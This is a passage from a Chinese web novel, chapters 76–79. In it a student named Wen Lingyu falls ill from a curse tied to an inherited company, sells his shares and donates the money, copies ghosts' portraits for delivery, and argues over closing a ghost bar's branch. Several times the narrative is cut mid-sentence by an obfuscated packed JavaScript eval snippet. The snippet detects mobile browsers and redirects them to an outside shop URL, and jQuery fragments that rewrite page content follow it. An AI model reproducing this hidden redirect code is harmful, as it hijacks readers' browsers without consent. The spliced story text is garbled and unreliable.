“我大学了，画画只是我的一个爱好。”温令羽说话时非常心虚，他当时点进来的广告填的是高中的信息，关顾着隐私保护了。 工作人员语塞片刻，优秀的职业素养让他很快恢复过来，保持她销售时的官方笑容，只不过温令羽看来十分虚假。 “温同学，我们是高考培训班，如果是爱好需要，可以考虑一下另一个体系。”工作人员就要带温令羽去其他教室，甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067744|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越往旧教室走。 温令羽及时叫住了，“等等，我还是觉得你刚刚说的就可以。” 工作人员面色有些为难，冲刺班是招牌，每一个进去的都是选拔过的，金钱能力缺一不可。 他只是想讲人骗进来，等之后选拔再换到普通班，他连说法都想好了：冲刺班进度太快跟不上，耽误的是自己，所以可以去普通班学习体验，之后想回来也是可以的。 至于能不能回来，是老师一句话的事情。 这些只能忽悠一下心急考试的学生和家长，对于来学习热爱的温令羽，一点都不奏效。 工作人员还在疯狂思考对策，温令羽已经选择好了，“你……” “哥哥，你怎么在这里？”温昕站在面前不远处叫他，她看到温令羽很高兴。 温令羽脱口而出，“你怎么在这里？” “补课。你不是来过吗？”温昕有些无奈，她哥哥的记忆怎么能什么差劲。 温令羽才想起来，怪不得他觉得眼熟，这补习机构他来过，只是当时他走的是其他的门。 毕竟做大做强的企业是针对各种受众的，不止面临升学压力的，小学中学都有。 温昕是下课出来放松的，和温令羽打了声招呼就要回去上课了。 而另一边的工作人员已经打过电话了，可以对顾客有一个满意交待。 “温同学，冲刺班不适合零基础的。我们新开设了兴趣班，现在是小班教学，一对一服务。”工作人员说道，“作为新用户，我们也有优待。兴趣班的价格和普通班一样，比冲刺班优惠。” 温令羽满脑子只有一对一教学，他一咬牙就答应了下来。 报了班确实有用，老师也很负责任，教得都是基础实用技巧，把温令羽成功带入门了。 温令羽还沉浸在这种生活里，在学校上专业课，课后上兴趣班，致纪也不用管坐等收钱就行。 但很快，一场突如其来生病给温令羽搞倒了。 春季回温，温令羽连一件衣服都没减，在教室里发烧昏迷，被救护车拉到了医院。 醒来第一眼看到医院天花板，第一反应以为是在做梦，眼睛又闭上了。 宋时盛发现温令羽醒了，立马叫来了医生，然后给温令羽一顿检查，“还在发烧，等挂完水后再看吧。” 温令羽感觉到他的头是懵的，迟钝地问医生：“我怎么了？” “烧糊涂了？你在教室门口昏倒了，我给你叫的救护车。”宋时盛在一旁说道。 温令羽一早起来还是神清气爽的，结果到了门口人就不行了，病程发展也太迅速了。 “医生，我身体还有没有其他问题？我突然就晕了，早上起来还好好的。”温令羽已经紧张着急到无法检查语序了，想到什么就说什么。 “还挂着水，赶紧躺回去。”医生将温令羽固定回病床上，安抚他的情绪，“后续的检查已经安排了，要看检查报告才能确定。” 临走前，医生还说道：“不用担心，先安心休息。” 76.将死之人 身体确实是不舒服，温令羽没撑住，迷迷糊糊又睡了一觉。 醒过来时，宋时盛已经走了，手上的针已经拔掉了。 温令羽起来找自己的手机，担心这次晕倒学校会通知父母，打开一开，属实是他多虑了，他压根就没填父母的联系电话，全是他自己的。 所以，手机上除了辅导员发来的关心，就只有宋时盛的。 宋时盛他发来的，“先走了，晚上给你带饭。” 温令羽回了过去，让宋时盛不用特意赶过来。 然后，视线看到桌上放的各类检查报告，温令羽拿了过来，各项检查都表明他没有问题，白细胞值都处在正常范围内。 温令羽只好去拿其他的报告，恰好护士进来要量体温。 “37.8。” 数值显示还在烧，不过比刚进来时要低很多。 护士询问温令羽的现在的身体状况，“还有没有什么不舒服的？” “就是头晕，其他没有了。”温令羽如实答复道。 等护士走后，温令羽的视线跟着对方离开，瞟到了温老，他此刻正站在病房门口发呆。 等温老回过神来，温令羽已经看了他很久了。 “你杵门口这么久，想什么呢？”温令羽问道。 温老语重心长地说道：“你还记得我的话吗？现在或许就是前兆！” 温令羽一开始还没反应过来，顺嘴回复了一句“你在说什么”，但就一会儿记起来了。 “你是说我马上就要死了？” 一下子温令羽起身了，声音大到隔壁床位的都听见了，一左一右全部朝温令羽看了过来，像是在观察，确认他话里的真实性。 他们一看是年轻的小伙子说的，可信度大大降低。 刚刚和护士的对话，可听得真真切切的。 “小伙子，就一个发烧，不会死的。” “看你这么有力气，马上就能出院了。” 话是安慰的，温令羽却总觉得这话有哪里不对劲。 不过眼下这都不是重点，温令羽去将两床的帘子拉起来，轻声问温老：“那现在有什么办法？” “这次的发烧只是个提醒，你得加快画像的进度了。”温老催促温令羽，让他加快进度。 温令羽并不认为自己太慢了，他要为自己据理力争一次，“难不成我得一直这么干？停下来我就得死了？” 温老自己也不知道，低下头思考现在的情况。 突然，灵光一现，温老激动地说道：“龙青山！或许大师会知道。” 温令羽也没有其他办法，只能死马当活马医，第二天一早办理了出院手续，前往龙青山。 医生开始还劝：“体温还没降下来，不然再留院观察一天。” 能做的检查都做了，报告全都显示没有问题，温令羽怕再拖延下去就归西了，十分坚定地要走：“我回家休息吧，再不舒服我再来。” 都这么说，医生还是以病人的意愿为主，准许温令羽出院。 温令羽没有行李，在医院门口打车直奔龙青山。 温老见状跟上温令羽，虽然他进不去，但是他不能让温令羽一个人去。 有了上一回的经验，温令羽找到了路和方向，站在那个小院的门口，依旧是有个打扫小僧在干活。 “请进，已经等了很久了。”小僧看着温令羽的眼睛说。 短短一句话，给温令羽惊到冷汗直冒，上一次的他来早了，大师算到他会来这么一趟。 温令羽没有犹豫，直接进去。 大师依旧坐在石凳上，旁边是煮好的热茶。 温令羽眼睛变得更亮了，一个箭步冲到大师面前，求他救命。 大师示意温令羽安心坐下来，“你的事情我知道。” 都少了前情提要这部分，温令羽十分庆幸不用再叙述一遍，问道：“大师，我还有的救吗？” 如果只能原地等死，温令羽根本不敢想后面的事情。 “当然有。”大师也不卖弄，直接说了有救，也让温令羽悬着的心放了下来。 大师继续说道：“拿人钱财替人办事，这就是你遇到的灾祸。” 果然大师都是会拐弯抹角的，温令羽根本听不懂，他急切地证明：“我什么时候收人钱财了？大师你确定没搞错吗？” 大师手里的珠子又转了一圈，等温令羽不再焦急，才缓缓解释道。 “纪老板靠着天运获得了这么多，得到的越多责任就越大，他没有按时完成后果就来了。你继承了他的东西，那么他的责任相应继承，未完成的那些就落到了你的头上。” 居然是致纪公司惹的祸，因为他开始接手，才把纪老板的那部分转移到自己头上，积攒得太多上天看不下去了。 温令羽还心存怀疑，问道：“那我之前怎么没有事？” “轮到你之后，一切重新开始，所求的越少责任越小。”大师耐着性子解释。 找到了起因，就要求生路了。 既然大师说了有救，说明事情还有转圜的余地。 “纪先生的财产不在你的身上，灾祸就降临不到你的头上。”大师不废话，说了此题的解法。 温令羽刚想高兴，但又担心另一件事情：“要是给到别人，是不是就会发生在别人身上。” 问到了关键问题上面，健谈的大师忽然变得沉默，大师像是忽然发现热茶特别好喝，一个劲让温令羽品茶，没有正面回应问题。 温令羽可没让大师逃避的机会，“大师，不要转移话题。” 大师眼神一下子凌厉起来，他把门口的小僧叫进来，“把温先生送出去。” 谈不拢就要赶人。 温令羽抓住桌角，圆滑的石桌找不到下手的地方，看了旁边只好作罢，妥协道：“大师，这只是我的最后一个问题。” “是的。而且眼下只有这一个办法。”大师说完，就让小僧送客。 温令羽失魂落魄回到了车上，温老见状以为是大师也没办法，心里的不安愈发浓烈。 “大师怎么说的？还是你连人都没见到？” “我见到了，他说有办法。” 温令羽将大师的办法说给温老听，好坏消息参半。 好消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085046|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息是还有的救。 坏消息这办法不如没有。 温老着急地来回走动，试探性地问道：“要不然我们就试一试。” “不行，那是害人。”温令羽想也不想就拒绝了，要是真这么做，他的良心一辈子都会受到谴责。 温老就这么一问，真要他看着一条人命无缘无故地死了，是绝对不可能。 温令羽决定拼一把，速成绘画技巧，然后尽快解决纪老板留下的烂摊子，为自己谋得一线生机。 温老一时拿不出其他办法，“尽力一试吧。” 从龙青山回来后，温令羽的头也不晕了，似有所感的从药箱里翻出体温计，一量果然是降温了，不再是那个熟悉的数字。 这事更加让温令羽更加坚信，自己要更加把劲。 到了上画画课的时间，温令羽去了趟校长室，想和他谈一下加快课程进度的事。 “我现在想学临摹，有画的情况下，想原模原样抄下来。”温令羽合理表达了自己的诉求，“有速成班吗？越快越好。” 校长管这么多课，对画画这方面并不熟悉，“踢皮球”似的让温令羽去找负责人，“绘画课程的项目有专门的负责人，归他们管。” 温令羽也没辙，只能去找所谓的负责人。 负责人一听温令羽这要求，回复道：“画画是需要功底的，要长时间练习。” 温令羽的性命都系在这上面，可等不了很久，“我想速成。” 任凭负责人把什么理由都搬出来了，温令羽压根都没听进去，给负责人都整心累了，还不能得罪了客户。 “我们可以和老师商量，让他负责排课，但是授课的效果就不能保证了。”负责人搬出了最后的底线。 温令羽没有意见，答应了：“等下上课就安排吧。” 授课的老师听说了，进来时还在旁敲侧击地教育温令羽。 一对一的教学，除了刚开始必要的简单的寒暄，就很快进入了正题。 但这一次，老师一进来就坐在了讲台椅子上，说道：“上课之前，我忽然有些感慨想分享一下。” “画画是一件长期投入的事情，像我自己，很小就开始接触画画，之后自然而然投入了这个行业。喜爱和毅力是能做好的要求，遇到什么事都要有耐心和毅力。” 眼看着这节绘画课即将变成思想教育课程。 温令羽赶紧叫停老师，说道：“老师，一节课时间不多，我们什么时候开始？” 这节课温令羽首次尝试，要看成品如何，才能给授课老师一点思路，方便来做之后的课程安排。 还好温令羽没有受到影响，临摹的一幅画成品不错，有几分相像，连老师都佩服。 “既然你一定要换的话，也可以。”老师做出了妥协，同意了改课的要求。 温令羽也没想到，就自己前段时间上的基础课还真有用，观察能力也有了大大地提高，画得还真不赖。 成品拿出来也相像。 晚上回去就能尝试动笔，鬼小馆那里已经积攒了很多画像，就等着温令羽去照抄下来，然后就像阿辛那样。 77.危机降临 单纯想一想，觉得是件轻松容易的事，真看到这么大一叠，只能说一句。 “有些事真只能专人来干。” 短短几天的时间，堆的画像都快成书了，温令羽震惊地指着东西，难以置信地问道：“这些全是我一个人描吗？” 温老也是被眼前一幕惊得说不出话来，良久才找回了自己的声音。 “我也不知道，不是我负责的。” 温令羽腿一软，还好墙壁就在旁边，伸手就能靠住，才不至于直接倒在了地上。 晋叔是负责画像事情的，刚才只顾上整理，没能第一时间到现场。 一进来就看到心如死灰的两张脸，立马就明白刚刚发生了什么事，赶紧安慰两位：“这是好几位画师的作品，但就只有这些了。” “临摹完只要在某一个公众号上匿名上传就好了。”晋叔已经安排好了后续。 什么公众号？ 温令羽心里满是疑问，先是看了一眼温老，对方接收到他的眼神，才想起没有介绍。 “纪老板曾开创过一个公众号，主要功能是用来存放留言并按照约定时间发送给当事人的。”温老是最近在晋叔口中听说，他们商量过，把画像传上去再附上留言，这样就不用四处去跑了。 毕竟自从知道温令羽的性命全在那上面后，温老是做梦都在想任务。 温令羽脑中不断思考实行当中的可行性，重新将注意力转回到那堆东西上面，无奈地叹了一口气。 “我努力。” “不仅仅是努力，要熬夜画了。” 温令羽特意买的是透明的画纸，通过描轮廓的方法慢慢将作品呈现出来。 还好辅导员给他放了长假，可以有安心待在家里的时间。 温令羽每天睁眼的第一件事就是动笔，然后上传发送，一系列动作仿佛成了肌肉记忆。 如此少的睡眠，温令羽的身体却没有一丝不适，反倒是很精神。 等完成最后一稿，直接将手里的画笔一丢，他现在手一拿笔就在抖，全凭一口气撑着，才没有让这些日子的心血白费。 温令羽对温老说道：“出去走一走？” 温老担心温令羽的身体，劝他要好好留在家里休息，“你好多天没休息过了，别出去了吧。” 此时此刻温令羽只想出去看看，好不容易逃过了一劫，不想待在家里。 温老拧不过温令羽的坚持，只好点头答应了。 周围的邻居好几天没看到温令羽，无论人还是鬼，纷纷向他打招呼寒暄。 温令羽全都一一回应，相谈甚欢。 突然就在这时候，温令羽的手机消息来了，刚才他把手机静音模式关掉，防止会错过消息。 却没想到，一打开惊得把手机都给摔了。 温令羽立即蹲下身子捡起来，拿手机的手都在发颤，点击屏幕锁屏却迟迟没有反应。 心无比的焦躁，但自己能做的只有不断地尝试，还好最后顺利打开了。 公众号被封禁。 消息如同晴天霹雳砸在所有人的头顶，炸得每个人都没了办法。 现下只有最早发的几张确定成功发到了别人的手机上，其他的都因为公众号被封禁无处可知，甚至公众号封禁会导致可信度降低，哪怕是送到了当事人手上也没有用。 现场最有主意的几个，都失去了所有办法。 “不然登报吧。”小心翼翼地提议着。 在场唯一的执行者温令羽一时想不到找哪块登报，“先不说报纸传播不高，而且哪家报社会呢？” 一说到传播度，温老眼睛一亮，这可找到对口的了：“电视，上电视的传播更广。” 立马就有懂这方面的站了出来，“用‘传达生前的留言’的方式，广播电视不一定会买账，我们面向的不只是本市。” 此话一出，现场顿时安静，所有的办法都想过了。 “要不然我们申诉吧，把公众号要回来？” 在来鬼小馆之前，温令羽就已经申诉过了，不过迟迟没有下文，预计说要七个工作日，偏偏这几天是周末，处理时间又要延长了。 最后，还是酒保站了出来，“致纪公司的合同是我拿出来的，不然也不会闹成现在这样，我愿意承担。” 晋叔正因为这件事情生气，酒保一提恰好在脾气上。 “你为什么拿出来之前不想一想？！” 酒保被晋叔劈头盖脸一顿骂，头都快低到地上了，大伙都看出晋叔在气头上，不愿意当这个出头鸟。 晋叔的脾气都知道。 大家都没什么动作，温令羽制止了晋叔继续说下去，“现在不是追责的时候，先想想这些画怎么办？” “亲自送吧，地址我们有。”晋叔说，“地方很杂很乱，我整理一下。” 经过整理后的，是按照距离远近顺序排的，温令羽自己找过去，有一位就在自己所在的小区里。 在另一栋，温令羽没去过那一边。 为了找到楼号，花了不少时间，最后还是去附近的出口找保安指路。 “你好，我们是致……”开门后，温令羽先做了自我介绍。 对方压根没听，看到是陌生面孔，啪一下就把门关上了，一点犹豫都没有。 温令羽长呼了一口气，重新按门铃。 “你有什么事吗？”对方总算是没着急关门了。 “刘女士，我们是致……” 还没说完，又被打断，不过给了理由。 “你们搞错了，我不姓刘。” 温令羽自我怀疑地看了门牌号，和资料上填写的一模一样，于是又问了一遍身份。 还真不是。 事情变得糟糕起来。 对方看出了温令羽的沮丧，相信他不是坏人，说道：“我们也是刚搬进来的，之前那一户好像是姓刘，不过已经搬走了。” “是什么时候搬走的？” 像是出现了转机。 对方思索了一会儿，说道：“我们是去年搬过来的，当时房子已经空了一年了。” 上一任是找的房产中介卖的房子，交接的时候双方连面都没见过，全程都是通过中介这位第三方，所以她也没见过刘女士。 当事人离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093329|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，温令羽也没有留下来的必要，于是朝对方告辞。 乘坐电梯下楼时，温令羽按了一楼的按钮，却久久没有反应，但是电梯却是在正常运行当中。 这一幕给温令羽吓得额头直冒冷汗，不断去按电梯楼层的按钮，不断去想接下来急救对策。 突然，电梯下降在五楼。 温令羽呼吸都停滞了，在祈祷门能打开，这样或许还有一线生机。 上天可能是听到了祷告，还真开了，甚至有两三个人走了进来。 温令羽冲出了电梯，电梯门关闭的前一刻，还听到里面有人在说：“是谁这么没素质，把下面所有楼层都按了一边。” “长按可以取消。”有人提醒道。 等温令羽从安全通道下到一楼，路过电梯，他刚刚坐的电梯是正常运行的。 温令羽仿佛失去了魂魄，跟游魂一样走在路上，直至撞上温老。 “你怎么一个人行动，还顺利吗？” “那户人家搬走了，没找到。” 温令羽习惯性地回话，这副样子自然是瞒不过温老，何况他压根就没有伪装。 “你刚刚遇到什么事了？” 温令羽整个人还没有从劫后余生中缓过来，看得温老着急，大喊了一声想让温令羽回个神。 其实是他自己等着急，声音就变大了。 确实是有用，温令羽总算是找回了自己，他将刚才遇到的事情和温老说。 温老越听，面色越发凝重。 “一家家跑的话，时间上来不及的，你只有你自己。” “我知道。但我不能这么等死。” 现在他的面前就是万丈深渊，后面是躲不开的手，正在推动他。 主动权不在他自己的手上，被动地接受死亡的安排。 “你必须要把包袱抛下了，去联系致纪的老板安排股权转让。”事情发展到现在，结果不是想要看见的，可求生的本能在作祟。 可温令羽做不到，眼睁睁把另一个人推向火坑，这与杀人无异，也不符合他一直以来受到的教育理念。 剑拔弩张之际，晋叔大老远跑过来找他们，还是带了好消息过来。 虽然做法和温老有异曲同工之处，却又不一样。 “确实是要把股权换成钱，甚至要换得越多越好。”晋叔说。 如此大捞一笔财富，是想让温令羽死前好好享受一次，然后再慨然赴死？也算是不留遗憾。 温令羽这么想着，心底的寒冷在这一刻甚至盖过了身体的冰冷，看来这一次他是非死不可了。 但是，下一秒晋叔就把温令羽从死的边缘拉了回来，说道：“我们都看得出来完成任务可以减小惩罚的程度，那么将所有的风险分成极小的一部分，由所有人共担。” “虽然会倒霉一阵子，至少不会有生命危险。”晋叔催促温令羽赶紧去，“尽可能换得越多越好，这样才可以分给更多的人。” 这一方法来得新颖，温老不禁为此佩服。 “果然老话没说话，天上掉馅饼是能砸到人的，得到的不只有钱，还有孽。”温老说道。 78.隐患出现 一整套流程办下来顺利得很，致纪老板开始虽然不理解温令羽执着卖掉股份的行为，明明致纪的前景还十分可观，不过他也不是多管闲事的人。 甚至对于接手这件事，他还成了推动者。 温令羽将钱捐给基金会，甚至亲自跟进资助的下发，保证能让越多的人受益。 也因为这件事，温令羽还登上了电视，身边原先不知情的人是全知道了。 包括温父。 得知消息的第一时间就打了电话来兴师问罪：“你哪来的钱让你捐？” 一笔不菲的资金，竟然全部都捐了出去。 报道媒体直接将温令羽的形象打造起来，连他的学校都要为此写报道来歌颂这种无私的行为，不过温令羽以不想露面为由推辞了。 温令羽根本说不了几句话，下一个电话又要接进来，更何况自己压根不想对温父交待什么。 要命的钱，早放早好，要不然没了这条命，哪有机会去花。 但温令羽没想到，温父找不到他头上，居然去找了令美珑。 由她出面，温令羽自然不能像对温父一样敷衍了事。 “我看了你的报道，怎么突然有这么多钱了？”令美珑担心儿子是不是做了其他事，那些无法放任不管的。 温令羽不知道该从何说起，实话讲了也没人信，不如去选择善意的可以接受的话。 “这是有人拜托给我捐的，他不想暴露在公众面前。”虚构出一个人，就当是为了他办事，打消令美珑的疑虑和担忧。 令美珑安下心来，说道：“好，如果你想的话，记得和你爸解释一下，他可是气坏了。” “我能猜到他的样。”温令羽回复道。 日子一天天过去，资助的钱一笔笔发下去。 温令羽没有安心闲着，重新注册了公众号再一次传达信息，有了上一次封禁的教训，这一次行事每一步都符合规定，没了被举报的由头。 就在这个时候，于安一脸忧心忡忡的找来了。 于苑走后，于安没有像以前一样拼命，还自告奋勇来温令羽这里帮忙，负责监督资助的对口工作，两人都是在手机上交流。 能让于安主动上门，还是在大晚上，绝对是不小的事。 “我决定要起诉。” 于安一来就进入正题，在资助的钱购买了生活用品和衣物后，生活用品是缺斤少两，连衣服都是破一块的，那些商家丝毫不重视。 温令羽听了，没有第一时间下结论：“那商家怎么说？” “他们当然不承认，甚至还说是我们污蔑他，他们的东西都是好的。”于安说到那些人就生气，说话的声音都大了起来。 温令羽是知道这笔钱拿得烫手，说不定那些商家是无辜的，当即决定亲自去一趟。 毕竟是电视上都在放的人，商家认出来了脸。 一个个都扑了上来，全部十分委屈地说道：“我们都是小本生意，东西上车前都检查过的，不可能是坏的。” 他们说得非常肯定，除了讲道理，还说情义：“我们几个虽然是生意人，但也是有慈善的爱心，不会给那些孩子用差的。” 于安还在气头上，当时她派人来看的时候，这些人的嘴脸可不是这样的。 “好赖话全让你们说干净了，之前不是还挺猖狂的。”于安怒怼道。 其中一位反应过来，回怼道：“是你们的人一来就说我们卖假货，谣言传出去了我们还怎么做生意。” 一个说完，另一个接着帮腔。 “闹事是你们先闹得。” “你这小姑娘，凭良心你自己说，刚来的时候我们是不是客客气气待你，结果下一次来就说我们卖假货。” 于安被你一句我一句怼得哑口无言，可气场却一点没弱下：“东西拆开后，十件有两件是坏的，东西也一样。你们怎么解释？” “我们重新再发，那些拆出来坏的我们都补上。” 这一句是说到了关键点子上了，于安都被整得眨巴一下眼睛，在思考剧情怎么是这样的走向。 温令羽先一步反应过来，“那费用我们承担……” “不用，当时你们以售价收的，说来还是我们赚的。”有人说完还不好意思起来，一开始进这么多货没人说是为了捐赠的，知道之后这笔钱就赚得心慌。 回程的路上，温令羽和于安都很沉默。 最终还是温令羽先打破了：“能不买东西直接……” 说了一半，两人都清楚其中的意思。 于安摇了摇头，温令羽没处理过，但是她跟着温父打理过，“要是换成钱，不确定会进到谁的口袋里，实施起来太困难了。” “交给你我很放心。”温令羽相信于安能完成好的。 听到这话，于安笑了：“你还好意思说，温总要被你气死了。” 温氏旗下是有基金会的，于安曾经还负责过一段时间，结果自己的儿子却捐在其他地方，不光是肉连汤都不给老子留一点。 温令羽不选择温氏的原因很简单——纯粹不信任温父的人品，等温令羽把钱拿出来，然后他自己就能贪了一部分。 这些话不用说于安也知道。 回旋在父子两个之间，不瞎就能看出来。 “就让他眼红去吧。” “你小瞧你爸了，他已经修改了资料介绍，特意强调点明是你的父亲。” 硬喝这碗汤。 能做到这份上，温令羽要开始佩服温父了。 车子是于安开出来的，先要把温令羽送回家，然后再把车开回公司上班。 于安坐在降下车窗，对温令羽笑着说道：“人情还你了，下一次找我帮忙记得付钱。” 温令羽离开温氏这么迅速，丝毫不给其他人反应时间，于安刚从上面下来想还人情，结果人家没待两天就走了。 还好对方没有提出要她一块走的无理要求。 温令羽能明白，坦然接受了这样的安排。 又过去了好几天，公众号也把剩下的画像都发出去，将话带到。 鬼小馆里的鬼魂几乎每一天都会消散，数量是肉眼可见地减少，有一些是刚住了进去， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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又重新在馆内看了，可以说的是现在的鬼小馆无疑是最冷清的时刻，自从温令羽到来之后，哪一次不是热闹狂欢。 活动依旧在举行，但参加的数量却少得可怜，创下历史心底。 坐在第一次来的吧台位置上，看着背后空旷的地盘，欣慰和惆怅不知道哪个占了上风。 大门被踹开，响动声吸引了全场的注意力，连音乐都停止了。 于先生一脸惊慌看过来，后面还跟着跑得气喘吁吁的于苑，她站在那的表情和于先生一样。 于苑最先看到温令羽，她指着他的方向：“他在那里。” 于先生和于苑不会无事过来，温令羽想到这里，赶紧从椅子上下来，害怕是分馆发生了事情。 分馆离这里太远了，遇到事情都不能及时赶过去。 它的弊端就这么摆在面前。 于先生他给了温令羽一个眼神，温令羽说道：“跟我来。” 带着他去交流所的店铺，如今那里无鬼空旷，是个谈话的好地方。 于苑也跟了过来，说道：“我生前把那栋房子过户给了于安姐姐，她好像卖掉了，他们现在打算拆掉重新盖。” “拆掉？！他们已经去了吗？”温令羽惊呼。 于先生先是摇头，但他不放心：“还在测量。根据我的猜测，拆掉重建的概率非常大。” 79.是谁泄密 “我想你去找于安。” 于先生这一趟是让温令羽出面，由他去找于安，把分馆的地址保存下来。 温令羽还没说话，于苑就拦在了温令羽面前，对上哥哥的怒火也不退缩：“不行，我已经欠姐姐太多了，不能连给出去的东西都要回来。” 于先生一把拉住于苑，试图让她清醒一点，“于苑！那你忍心看分馆的家人无家可归吗？” 话音刚落，于苑再也控制不住眼泪，这么重的责任放在她的肩头，根本承受不住，但她的理智和情感都告诉她不要妥协。 能让于苑为难到这个份上，确实是有水平。 温令羽拉不到于苑，只能挡在她身前，阻挡兄妹两个的视线，然后对于先生说：“不要再把压力强加到于苑身上了，更何况这件事的执行者是我，去不去是我决定的。” 于苑躲在温令羽的身后，害怕被于先生听见，小声地嘀咕：“明明这里这么大住得下，为什么非得要找第二个地方？而且一点都不方便。” 这话不错，如今的鬼小馆空旷得很，就算把分馆全搬过来也住得下。 “分馆就关了吧，搬回来。”温令羽越想越觉得这个决定合理，回来之后鬼小馆又能恢复到往日的热闹，甚至还方便了管理。 于先生一口就否决了这意见，说道：“分馆才建成没多久，你就要关门？那你把我们的努力放在什么位置上？” 可现在不是温令羽想关门，而是不得不关门。 温令羽身上大部分积蓄都已经捐出去了，剩下的钱，要想买下这么大的别墅，绝对是白日做梦。 要是不买下，又凭什么让于安放弃呢。 于先生是不知道温令羽的情况，他的捐赠报道还刊登在报纸上，好多可见的地方都在赞扬这个事，而温令羽此刻的推辞，只能说明他不愿意。 “你都愿意把钱捐出去，为什么就不能重新买回来？”于先生怀疑温令羽的动机，“你是不是早就盼这个时候，这样你又是鬼小馆的老板。” 于先生还在气头上，半点听不进去话。 温令羽懒得惯着对方，平静地说事实：“哪怕分馆还在，我也是老板。” “所以呢？我的投入就不是投入了？”于先生开始怨恨温令羽，怨他的过河拆桥。 之前鬼魂住不下的时候，说建分馆就建，后来等这里空出来，又要把他的心血关掉。 温令羽是其中的既得利益者，什么都不用付出就轻松地解决了燃眉之急。 于先生一个劲地控诉着温令羽的所作所为，甚至还砸了店铺里的东西，情绪发泄到极点时踹开店铺的门，放下了一句狠话：“分馆是你答应我的，我不松口你一个人决定没有用，大不了鱼死网破，鬼小馆你也别想继续开下去。” 身为鬼小馆的老板，却失去了鬼魂的信任，是不能开下去。 还没有到鱼死网破的地步，于先生没有大声嚷嚷，于是外面的鬼魂看着于先生气冲冲地走了。 于苑是第一次看见哥哥生气成这样，她是刚刚才知道哥哥对分馆付出了很多，不惜用他的所有来换一次合作的机会。 她只是觉得哥哥太上心了。 “温老板，我哥哥他为什么一定要创分馆？”于苑从哥哥的话语中知道了他对分馆的执念。 分馆是于先生为了给于苑一个安然的生活环境才创立的，在多年的生活中，可以给予于苑最好的东西。 这些话确实不能对于苑说一个字，还是温令羽亲口答应于先生。 所以，面对于苑的疑惑，温令羽只能摇摇头，搪塞掉：“我们只是负责去完成，他为什么坚持要去问本人。” 从温令羽那打听不到消息，于苑也就没留下，出去找她哥了。 等他们两个走后，温老从外面走进来。 “我刚才偷听到你们的对话了。” “那你觉得应该……” 晋叔了然地说道：“我就说不要开吧。” 当时要开设分馆时，晋叔力排众议，对分馆这个提议嗤之以鼻，相当不乐意。 最后还是他们几个坚持才搞下来，结果却闹成这副样子。 温令羽脸很红，确实不应该脑子一热就真的答应了，一点没想过方案B，或许是相当过但因为迟迟没有解决办法，潜意识里忽略了风险。 “原来那地方肯定开不下去了，其他地方你能买得起吗？”晋叔很认真地看温令羽的眼睛。 温令羽很诚实地摇摇头：“买不起。” 对此，晋叔没责怪，相反还象征性地摸了摸温令羽的头，安慰他别自责。 事已至此，温令羽还是去找了于安一趟，想问一问其中的缘由，由于一心在见面的事情上，没注意到跟在于安身旁的鬼魂。 “于苑留给你的房子你卖了？”温令羽是知道于安有那套房的事。 于安倒也没有隐瞒，不过房子不是她最近卖的，是很早之前：“是我在见过小苑家人后，就卖掉了。” 于苑的家人早就败光了钱，还欠了债，于安卖房子一是为了有钱给于苑看病，二也是不让她家里人把钱拿走还债。 只不过现在房子附近那块要开始发展了，是致纪公司承包的，买下的人非常有眼见，着手打算重新休整一番好在之后大赚一笔。 听了于安的介绍，心里把致纪老板从头到脚骂了一个遍。 难怪买股份的时候，他多讲了这么多钱都答应下来，还美其名曰说对公司有情怀。 把温令羽都给整愧疚了。 甚至在他在职公司的时候，把好好的企业经营得悄无声息，外界那些不知情的人还以为没落了，实际上人家打算后面悄默发展。 现在他成了真正的老板，而不再是一位打工的了，就开始各处经营。 等于安走后，温令羽还坐在位置上久久没法忘怀。 “于先生只是想让他妹妹死后能过得好，接回来我们又不会亏待他们，分馆关了就关了。” “可是于先生心高气傲，一个是自己掌握的，一个是寄人篱下，你觉得他会如何选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“确实，一开始我想创立分馆是为了拿到最新科技为我所用，可后来看着你的病情越来越严重加上于安对你的保护，我就没再想了，是想为了大家好。” 于苑从见到哥哥起存在的，只执着于这一个困惑，她没从温令羽那找到答案，想亲口问一问：“我的病是真的好不了了，还是你故意的……” 